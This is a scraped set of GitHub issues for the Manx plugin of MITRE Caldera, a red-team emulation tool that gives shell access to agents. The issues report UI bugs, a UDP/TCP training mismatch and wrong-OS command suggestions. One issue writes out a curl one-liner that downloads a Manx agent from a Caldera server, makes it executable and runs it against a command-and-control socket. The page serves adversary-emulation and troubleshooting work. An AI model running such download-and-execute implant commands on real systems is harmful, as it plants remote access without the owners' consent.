mitre / manx

A CALDERA plugin

MITRE Caldera Plugin: Manx

The Manx plugin supplies shell access into Caldera, along with reverse-shell payloads for entering/exiting agents manually.

manx's Issues

Cannot Execute or Retrieve Execution Output

Good evening Manx Team,

I tried the plugin today and I do not know if I am running it correctly, but either by typing commands or using the drop-down menu options, I do not get any output.

I do have a Windows Defender exclusion on folder C:\users\ for the binary

Running Agent on Win10 Build 18363 .

Thank you in advance for your time :)

Manx Plugin, can't see command output when using web interface remotely

In the image below you can see the output of the whoami command when viewing the web interface via localhost but not if I view the web interface from a remote computer (not running the Caldera server).

"Select a session" menu empty in Chrome

From Chrome, the "Select a session" menu is empty even when there are active manx agents. From Firefox, the menu works correctly, and I can select from the active agent sessions.

It's CALDERA 2.6.6 running on an AWS Ubuntu 18.04.04 instance. A manx agent is running 'locally' on that same Ubuntu server. I also have a 2nd manx agent running on an AWS Windows server.

My browsers are connecting in to that AWS CALDERA server from the office I'm sitting in. Here in that office, it's:
-- Chrome: 81.0.4044.129 (Official Build) (64-bit)
-- Firefox: 75.0 (64-bit)
-- OS: Ubuntu 18.04.04 LTS

Manx plugin, Invisible text, white on white

The text in the Manx drop down menus is not visible because it is white on white.

Manx UDP training tests for TCP

Describe the bug
Going through the Caldera training and I got stuck on the "Manx UDP" test. I was having issues getting the Manx terminal to connect to my UDP agent. After some research and looking around I started noticing that the terminal only works with TCP. I checked the caldera/plugins/training/app/flags/plugins/manx/flag_0.py and noticed it tested for TCP connection. I was then able to pass the training.

I am running Caldera 4.0.0 Beta on Ubuntu 20.04.1. My UDP agent is running on Win10 21H1

To Reproduce
Steps to reproduce the behavior:

1. Deploy a Manx UDP agent
2. Attempt to run "whoami" or any command from the Manx terminal

Expected behavior
The test needs to reference TCP or the Manx terminal needs to be able to select a UDP beacon

Screenshots
Manx UDP Test (I believe line 20 is the issue)

Screenshot of active UDP Connection

Screenshot of no available beacon for the Manx terminal

Desktop (please complete the following information):

• OS: Caldera - Ubuntu 20.04, Agent - Win10 21H1, Operator Box - MacOS
• Browser: Chrome
• Version: Version 99.0.4844.51 (Official Build) (x86_64)

Additional context

Add any other context about the problem here.

Terminal UI - command not corresponding to the agent's OS.

Caldera version :

$ cd caldera && git rev-parse HEAD
6d9011358eef3041b4e60b64bf2f16f561be9d29

Steps to reproduce the issue:

• deploy a Manx agent on Linux Debian 10

  $ server="http://192.168.68.68:8888";socket="192.168.68.68:7010";contact="tcp";curl -s -X POST -H "file:manx.go" -H "platform:linux" $server/file/download > manx.go;chmod +x manx.go;./manx.go -http $server -socket $socket -contact $contact -v

  • On Web UI as red : campaigns -> agent : agent is up and running and well identify as linux

    Architecture | amd64
    Platform | linux
    

• On Web UI as red : plugins -> Manx
• select the running agent
• tactic : discovery
• technique : T1057 | Process Discovery
• procedure : System processes

Actual output, the windows executor is proposed :

Get-process

Expected output:

ps aux 

according to https://github.com/mitre/stockpile/blob/e60b281f176a9ceded9c58f5234d87f2ae817b32/data/abilities/discovery/5a39d7ed-45c9-4a79-b581-e5fb99e24f65.yml#L19

Suggested fix:

• manx/static/js/terminal.js

  Lines 173 to 180 in 4c4c844

  	function filterProcedures() {
  	$('#procedure-filter').empty().append("<option disabled='disabled' selected>Choose a procedure</option>");
  	ABILITIES.forEach(function(ability){
  	if(ability.tactic === $('#tactic-filter').val() && ability.technique_id === $('#technique-filter').val()) {
  	$('#procedure-filter').append('<option value="'+ability.ability_id+'">'+ability.name+'</option>');
  	}
  	});
  	}

  Do not display procedures that do not have an executor for the agent's OS.

• manx/static/js/terminal.js

  Lines 182 to 186 in 4c4c844

  	function displayProcedure(data){
  	let a = data[0];
  	term.write(atob(a.test));
  	input = atob(a.test);
  	}

  Do not use the first executor. Use an executor corresponding to the agent's OS.